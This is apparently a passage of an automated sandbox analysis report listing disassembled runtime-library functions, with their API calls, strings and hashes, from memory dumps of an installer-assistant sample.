                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: IJ$WIJ$J
                                          • API String ID: 3519838083-740443243
                                          • Opcode ID: 6052f957e2ecb8a4b70827f611eacceb93b83a0f35a243b049cc0090dc05215c
                                          • Instruction ID: 06fa05e6583608694e816db8feca598899d6afb83b55367d4105d72152e434b0
                                          • Opcode Fuzzy Hash: 6052f957e2ecb8a4b70827f611eacceb93b83a0f35a243b049cc0090dc05215c
                                          • Instruction Fuzzy Hash: D871AF30A00255DFDB14DFA4C544BEDB7B2BF14308F1480A9D856ABB91DB746E8DCBA0
                                          Function 6CA45A0D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132fileCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • _free.LIBCMT ref: 6CA45ADD
                                          • _free.LIBCMT ref: 6CA45B06
                                          • SetEndOfFile.KERNEL32(00000000,6CA446EC,00000000,6CA3B0D0,?,?,?,?,?,?,?,6CA446EC,6CA3B0D0,00000000), ref: 6CA45B38
                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,6CA446EC,6CA3B0D0,00000000,?,?,?,?,00000000,?), ref: 6CA45B54
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: _free$ErrorFileLast
                                          • String ID: 8Q
                                          • API String ID: 1547350101-4022487301
                                          • Opcode ID: b7b3f83fe6dc93ac41f39e05c2d35c4545974ee9cb4b18cef6db93e91cef84d6
                                          • Instruction ID: 15e8012390c7b653d7df2ba0175f0c4c41b643f3fce735ea1b3b4d77f053ceda
                                          • Opcode Fuzzy Hash: b7b3f83fe6dc93ac41f39e05c2d35c4545974ee9cb4b18cef6db93e91cef84d6
                                          • Instruction Fuzzy Hash: A141FB32500619ABDB019BF9CD85BCE3BB5EF49328F288515E414E7B90EB74C8CD8721
                                          Function 6CA7E418 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog.LIBCMT ref: 6CA7E41D
                                            • Part of subcall function 6CA7EE40: __EH_prolog.LIBCMT ref: 6CA7EE45
                                            • Part of subcall function 6CA7E8EB: __EH_prolog.LIBCMT ref: 6CA7E8F0
                                            • Part of subcall function 6CA7E593: __EH_prolog.LIBCMT ref: 6CA7E598
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: &qB$0aJ$A0$XqB
                                          • API String ID: 3519838083-1326096578
                                          • Opcode ID: 37b22e6d00aae0832323933771e16052884702a18d16bc22ef1d28b2cb01d7a1
                                          • Instruction ID: 975b064451d647abf8d2b3c154a57283aec701eeb4df1bf96bfcd1a835d870a6
                                          • Opcode Fuzzy Hash: 37b22e6d00aae0832323933771e16052884702a18d16bc22ef1d28b2cb01d7a1
                                          • Instruction Fuzzy Hash: 3D218B75E01248AECB04DBE4DA859EDBBB5AF15318F608169E41667780DB780E8CCB61
                                          Function 6CA2F12A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6CA2F1B4,?,?,6CA2F235,?,?,?), ref: 6CA2F13F
                                          • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6CA2F152
                                          • FreeLibrary.KERNEL32(00000000,?,?,6CA2F1B4,?,?,6CA2F235,?,?,?), ref: 6CA2F175
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: AddressFreeHandleLibraryModuleProc
                                          • String ID: CorExitProcess$mscoree.dll
                                          • API String ID: 4061214504-1276376045
                                          • Opcode ID: 5ed8caf24900a14f7383b571302e64ec43d9f767b1ce77ecec8552cac587bbf6
                                          • Instruction ID: 554a78b2ad679c49623a65c6f4186c4270ae72437676faf8251ea06e4f62015d
                                          • Opcode Fuzzy Hash: 5ed8caf24900a14f7383b571302e64ec43d9f767b1ce77ecec8552cac587bbf6
                                          • Instruction Fuzzy Hash: F8F0A032A01229FBDF029F90CC09F9EBF78EB4535AFA58064F901E2050CB348E51DBA0
                                          Function 6CA27327 Relevance: 7.5, APIs: 5, Instructions: 44COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 6CA2732E
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 6CA27339
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 6CA273A7
                                            • Part of subcall function 6CA27230: std::locale::_Locimp::_Locimp.LIBCPMT ref: 6CA27248
                                          • std::locale::_Setgloballocale.LIBCPMT ref: 6CA27354
                                          • _Yarn.LIBCPMT ref: 6CA2736A
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
                                          • String ID:
                                          • API String ID: 1088826258-0
                                          • Opcode ID: 4badbe2b54cd4057980b9bb358ae5123bac76850d5f36c2594c58fa5285cdfa9
                                          • Instruction ID: 2db0778da4927ac63dea6a2ce8211520a8abe8ec098bbb77d8c8a9bf0cb5b199
                                          • Opcode Fuzzy Hash: 4badbe2b54cd4057980b9bb358ae5123bac76850d5f36c2594c58fa5285cdfa9
                                          • Instruction Fuzzy Hash: A8018F75A011219BDB06DF20CA509BD77B2FF96354B1D4009E81197B80DF3CAA8ACFD1
                                          Function 6CAA6E3F Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 452COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: $!$@
                                          • API String ID: 3519838083-2517134481
                                          • Opcode ID: de11a10d9dafd4c65deb6d7f74020d514e490535ea8bbecf2d37e3263791df61
                                          • Instruction ID: 9354190dedf105e17d723e744437669d8efa0bbfe973f486d6540ca02010fb30
                                          • Opcode Fuzzy Hash: de11a10d9dafd4c65deb6d7f74020d514e490535ea8bbecf2d37e3263791df61
                                          • Instruction Fuzzy Hash: DD126D74905249DFCB04CFE9C590ADEBBB1BF08308F148469E845EBB55DB31A99ACF60
                                          Function 6CA72B91 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 284COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog__aulldiv
                                          • String ID: $SJ
                                          • API String ID: 4125985754-3948962906
                                          • Opcode ID: 589161b9174e713d87cd7ea6b7fb48598b4f41844aead815dae59d281551bb28
                                          • Instruction ID: b32bd2f1028ba1d772de93c499e9bf2e9412fdc240c8a21f826ee324f239a482
                                          • Opcode Fuzzy Hash: 589161b9174e713d87cd7ea6b7fb48598b4f41844aead815dae59d281551bb28
                                          • Instruction Fuzzy Hash: 14B15FB5D00209DFCB24CF59C9849EEBBB1FF48314F24862EE455A7B51D730AA85CB60
                                          Function 6C8F2020 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 125COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 6CA27327: __EH_prolog3.LIBCMT ref: 6CA2732E
                                            • Part of subcall function 6CA27327: std::_Lockit::_Lockit.LIBCPMT ref: 6CA27339
                                            • Part of subcall function 6CA27327: std::locale::_Setgloballocale.LIBCPMT ref: 6CA27354
                                            • Part of subcall function 6CA27327: _Yarn.LIBCPMT ref: 6CA2736A
                                            • Part of subcall function 6CA27327: std::_Lockit::~_Lockit.LIBCPMT ref: 6CA273A7
                                            • Part of subcall function 6C8F2F60: std::_Lockit::_Lockit.LIBCPMT ref: 6C8F2F95
                                            • Part of subcall function 6C8F2F60: std::_Lockit::_Lockit.LIBCPMT ref: 6C8F2FAF
                                            • Part of subcall function 6C8F2F60: std::_Lockit::~_Lockit.LIBCPMT ref: 6C8F2FD0
                                            • Part of subcall function 6C8F2F60: __Getctype.LIBCPMT ref: 6C8F3084
                                            • Part of subcall function 6C8F2F60: std::_Facet_Register.LIBCPMT ref: 6C8F309C
                                            • Part of subcall function 6C8F2F60: std::_Lockit::~_Lockit.LIBCPMT ref: 6C8F30B7
                                          • std::ios_base::_Addstd.LIBCPMT ref: 6C8F211B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$AddstdFacet_GetctypeH_prolog3RegisterSetgloballocaleYarnstd::ios_base::_std::locale::_
                                          • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                          • API String ID: 3332196525-1866435925
                                          • Opcode ID: 0f3845271ea7fa905e3d628b049e48eb921cabb511de0f193866284a11f3eabc
                                          • Instruction ID: dae464d7d5f84edea6a35cca0893bed2720aa37b9df798378161e156f25b406c
                                          • Opcode Fuzzy Hash: 0f3845271ea7fa905e3d628b049e48eb921cabb511de0f193866284a11f3eabc
                                          • Instruction Fuzzy Hash: 4641D4B0E003498FDB10CF64C94579EBBB0FF44318F148668E925AB791E775A985CB90
                                          Function 6CA84EC7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog.LIBCMT ref: 6CA84ECC
                                            • Part of subcall function 6CA6F58A: __EH_prolog.LIBCMT ref: 6CA6F58F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: :hJ$dJ$xJ
                                          • API String ID: 3519838083-2437443688
                                          • Opcode ID: e3ee415979c90d2d15618e5f431c2d86ccd996bf58f825059be4d34af7dc85d3
                                          • Instruction ID: 0eb675fbe71cc3950f4cd1f6c34193dea67f387018a28ec4a58429f1047c990a
                                          • Opcode Fuzzy Hash: e3ee415979c90d2d15618e5f431c2d86ccd996bf58f825059be4d34af7dc85d3
                                          • Instruction Fuzzy Hash: B821DAB0901B40CFC760CF6AC24429ABBF4BF29708B40C95EC0AA97B11E7B8A54CCF55
                                          Function 6CA3AD90 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • SetFilePointerEx.KERNEL32(00000000,?,00000000,6CA3B0D0,6C8F1DEA,00008000,6CA3B0D0,?,?,?,6CA3AC7F,6CA3B0D0,?,00000000,6C8F1DEA), ref: 6CA3ADC9
                                          • GetLastError.KERNEL32(?,?,?,6CA3AC7F,6CA3B0D0,?,00000000,6C8F1DEA,?,6CA4469E,6CA3B0D0,000000FF,000000FF,00000002,00008000,6CA3B0D0), ref: 6CA3ADD3
                                          • __dosmaperr.LIBCMT ref: 6CA3ADDA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: ErrorFileLastPointer__dosmaperr
                                          • String ID: 8Q
                                          • API String ID: 2336955059-4022487301
                                          • Opcode ID: aea3376a45e223ff0b5ebe955952c24bf2e3b702e8dcd0dc762e05439ae03458
                                          • Instruction ID: 2c714ab7c059449edf3404457ed6551a4a7b4c23f2a7f886f86505916c72dc5f
                                          • Opcode Fuzzy Hash: aea3376a45e223ff0b5ebe955952c24bf2e3b702e8dcd0dc762e05439ae03458
                                          • Instruction Fuzzy Hash: 7D01D8337105356FCF058FAACC159EE3B3AEB863657285208E815D7680EA71DD958B90
                                          Function 6CA349B2 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetLastError.KERNEL32(?,?,?,6CA2EF64,6CA56DD8,0000000C), ref: 6CA349B7
                                          • _free.LIBCMT ref: 6CA34A14
                                          • _free.LIBCMT ref: 6CA34A4A
                                          • SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,6CA2EF64,6CA56DD8,0000000C), ref: 6CA34A55
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: ErrorLast_free
                                          • String ID:
                                          • API String ID: 2283115069-0
                                          • Opcode ID: 8ecaead022f2198a1d9d49b3b25e91db6e0a205879c900d556202e0d6cdec920
                                          • Instruction ID: 4a111ee9a8e1a256c4c12eedb0c5bd56bb47608a96f004675ea0821ddd4d3854
                                          • Opcode Fuzzy Hash: 8ecaead022f2198a1d9d49b3b25e91db6e0a205879c900d556202e0d6cdec920
                                          • Instruction Fuzzy Hash: 4E110A327482246BDA015DB95DA4D6A396DABC237C7292728F52CD3FC0DF268C8D4518
                                          Function 6CA45EBA Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • WriteConsoleW.KERNEL32(00000000,?,6CA446EC,00000000,00000000,?,6CA44B51,00000000,00000001,00000000,6CA3B0D0,?,6CA3C286,?,?,6CA3B0D0), ref: 6CA45ED1
                                          • GetLastError.KERNEL32(?,6CA44B51,00000000,00000001,00000000,6CA3B0D0,?,6CA3C286,?,?,6CA3B0D0,?,6CA3B0D0,?,6CA3BD1C,6CA45AB6), ref: 6CA45EDD
                                            • Part of subcall function 6CA45F2E: CloseHandle.KERNEL32(FFFFFFFE,6CA45EED,?,6CA44B51,00000000,00000001,00000000,6CA3B0D0,?,6CA3C286,?,?,6CA3B0D0,?,6CA3B0D0), ref: 6CA45F3E
                                          • ___initconout.LIBCMT ref: 6CA45EED
                                            • Part of subcall function 6CA45F0F: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6CA45EAB,6CA44B3E,6CA3B0D0,?,6CA3C286,?,?,6CA3B0D0,?), ref: 6CA45F22
                                          • WriteConsoleW.KERNEL32(00000000,?,6CA446EC,00000000,?,6CA44B51,00000000,00000001,00000000,6CA3B0D0,?,6CA3C286,?,?,6CA3B0D0,?), ref: 6CA45F02
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                                          • String ID:
                                          • API String ID: 2744216297-0
                                          • Opcode ID: b73f06fba489060a1ecec35df44177ba037aad15b93954efc2b25d0780d21809
                                          • Instruction ID: 90d010624f02cd9782c2b2628572ad3751b93d7b28c494f91fd4b7f702e30d4e
                                          • Opcode Fuzzy Hash: b73f06fba489060a1ecec35df44177ba037aad15b93954efc2b25d0780d21809
                                          • Instruction Fuzzy Hash: 4CF0C037610215BBCF121FA5DC04AD93F76FB497A5B48C510FA1996620CB328C65DB91
                                          Function 6CA33124 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 230COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog3_
                                          • String ID: 8Q
                                          • API String ID: 2427045233-4022487301
                                          • Opcode ID: 1d00b0958708f3954e69fe99c4db124f71a2b409f4b30af52861a52f9c76143e
                                          • Instruction ID: 2632da9951137aae6aa03631f18147aae6d517c7d8fcece00a1ac207e1e000d2
                                          • Opcode Fuzzy Hash: 1d00b0958708f3954e69fe99c4db124f71a2b409f4b30af52861a52f9c76143e
                                          • Instruction Fuzzy Hash: 4671C970D0B2359FDB108B96C890AFE7A75AF05318F18A215E898DBA50DB7584C7C760
                                          Function 6CA78C58 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 213COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog.LIBCMT ref: 6CA78C5D
                                            • Part of subcall function 6CA7761A: __EH_prolog.LIBCMT ref: 6CA7761F
                                            • Part of subcall function 6CA77A2E: __EH_prolog.LIBCMT ref: 6CA77A33
                                            • Part of subcall function 6CA78EA5: __EH_prolog.LIBCMT ref: 6CA78EAA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: WZJ
                                          • API String ID: 3519838083-1089469559
                                          • Opcode ID: cff2a95f7f2c9e7e47c21d6c2cae1b51bbda01fa4771d0427a5cf66fef2ba2b2
                                          • Instruction ID: fae3e4fafb7561a5fc6430abc35c111fadf617563d8af1595299c53f9be2a4d3
                                          • Opcode Fuzzy Hash: cff2a95f7f2c9e7e47c21d6c2cae1b51bbda01fa4771d0427a5cf66fef2ba2b2
                                          • Instruction Fuzzy Hash: 16814735D01158DFCB25DFA8DA90ADDB7B5BF18318F10809AE416B7790DB30AE89CB61
                                          Function 6C8F28E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 176COMMON
                                          Download Yara Rule
                                          APIs
                                          • ___std_exception_destroy.LIBVCRUNTIME ref: 6C8F2A76
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: ___std_exception_destroy
                                          • String ID: Jbx$Jbx
                                          • API String ID: 4194217158-1161259238
                                          • Opcode ID: 7e9fb2e01c9688d88241f8a92d428930b508624affa250206b2a8014730c8bab
                                          • Instruction ID: dda0ea3bc41225d3d647b72125bd655fd5916bc80f656e3b4230b7433ece96c5
                                          • Opcode Fuzzy Hash: 7e9fb2e01c9688d88241f8a92d428930b508624affa250206b2a8014730c8bab
                                          • Instruction Fuzzy Hash: 66515AB19002448FCB20CF68DA8499EBBB5EF88314F14897DD8559B741D339E99ACB91
                                          Function 6CAA65B2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: CK$CK
                                          • API String ID: 3519838083-2096518401
                                          • Opcode ID: 1b70a559b70f3d65bd2f661337f76f78bd0a11403a28fe7c91f6bbd835c02544
                                          • Instruction ID: 7ec1a77784349808ce8af8892a372e21794c451c4458759bcd1fb1b3dd471dbc
                                          • Opcode Fuzzy Hash: 1b70a559b70f3d65bd2f661337f76f78bd0a11403a28fe7c91f6bbd835c02544
                                          • Instruction Fuzzy Hash: 42519175A103059FDB04CFA8C980BEEB3B5FF88358F188519D911EB751D774A98A8F60
                                          Function 6CA3CEFE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 126COMMONLIBRARYCODE
                                          Download Yara Rule
